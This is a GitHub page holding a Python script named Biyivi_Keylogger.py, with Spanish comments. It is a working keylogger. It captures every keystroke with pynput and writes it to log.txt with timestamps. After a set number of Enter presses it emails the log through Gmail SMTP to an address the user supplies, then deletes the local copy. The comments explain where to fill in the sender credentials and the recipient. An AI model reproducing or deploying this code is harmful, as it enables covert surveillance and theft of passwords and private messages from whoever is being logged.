-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathBiyivi_Keylogger.py
139 lines (104 loc) · 3.37 KB
/
Biyivi_Keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
import sys
import datetime
import os
import decouple
import time
import pynput
from pynput.keyboard import Key, Listener
import smtplib
from decouple import config
import keyboard
import smtplib, ssl
import getpass
from email import encoders
from email.mime.base import MIMEBase
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
def email():
username = "" #Aqui va la direccion del correo que envia el reporte (entre las comillas)
password = "" #Aqui va la contraseña del correo (entre las comillas)
destinatario = "" #Aqui va la direccion del correo que recibe el reporte
asunto="Archivo .txt"
mensaje = MIMEMultipart("alternative")
mensaje["Subject"] = asunto
mensaje["From"] = username
mensaje["To"] = destinatario
html = f"""
<html>
<body>
Puedes cambiar este mensaje {destinatario}<br>
Puedes cambiar este mensaje<b>Puedes cambiar este mensaje</b> Puedes cambiar este mensaje
</body>
</html>
"""
parte_html= MIMEText(html, "html")
mensaje.attach(parte_html)
archivo="log.txt"
with open(archivo, "rb") as adjunto:
contenido_adjunto = MIMEBase("application", "octet-stream")
contenido_adjunto.set_payload(adjunto.read())
encoders.encode_base64(contenido_adjunto)
contenido_adjunto.add_header(
"Content-Disposition",
f"attachment; filename= {archivo}",
)
mensaje.attach(contenido_adjunto)
mensaje_final = mensaje.as_string()
context = ssl.create_default_context()
with smtplib.SMTP_SSL("smtp.gmail.com", 465, context=context) as server:
server.login(username,password)
print("Sesión iniciada!")
server.sendmail(username, destinatario, mensaje_final)
print("Mensaje enviado correctamente")
count=0
keys=[]
def on_press(key):
global keys,count
if key == Key.enter:
keys.append("\n")
write_file(keys,count)
keys=[]
count+=1
if count>8: #Aqui va la cantidad de veces que se presionara enter antes de enviar el reporte en este caso seria ¨8¨ (lo puedes cambiar)
email()
if os.path.exists("log.txt"):
os.remove("log.txt")
count=0
elif key=='"':
keys.append('"')
elif key== Key.shift_r:
keys.append("")
elif key== Key.ctrl_l:
keys.append("")
elif key == Key.space:
keys.append(" ")
elif key == Key.backspace:
if len(keys)==0:
pass
else:
keys.pop(-1)
else:
keys.append(key)
print("{0}".format(key))
def write_file(keys,count):
with open("log.txt", "a") as f:
f.write(time.strftime("%d/%m/%y "))
f.write(time.strftime("%I:%M:%S "))
for key in keys:
k=str(key).replace("'","")
if k.find("\n")>0:
f.write(k)
elif k.find('Key')== -1:
f.write(k)
def on_release(key):
if key == Key.esc:
return False
def main():
if os.path.exists("log.txt"):
os.remove("log.txt")
else:
pass
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
if __name__== '__main__':
main()